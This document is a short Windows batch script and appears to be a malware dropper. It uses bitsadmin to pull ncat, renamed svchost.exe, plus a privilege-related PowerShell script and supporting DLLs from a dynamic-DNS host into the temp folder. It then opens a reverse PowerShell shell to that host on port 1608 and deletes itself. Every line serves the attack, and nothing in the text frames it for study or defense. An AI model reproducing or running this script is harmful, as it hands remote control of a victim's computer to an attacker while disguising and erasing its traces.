bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe" "%temp%\\svchost.exe"
bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/getprivshell.ps1" "%temp%\\getprivshell.ps1"
bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssh2.dll" "%temp%\\libssh2.dll"
bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssl-3.dll" "%temp%\\libssl-3.dll"
bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libcrypto-3.dll" "%temp%\\libcrypto-3.dll"
bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/vcruntime140.dll" "%temp%\\vcruntime140.dll"
cd %temp%
svchost.exe g57hitr9atw9jkky5p2.ddns.net 1608 -e powershell
del "%~f0"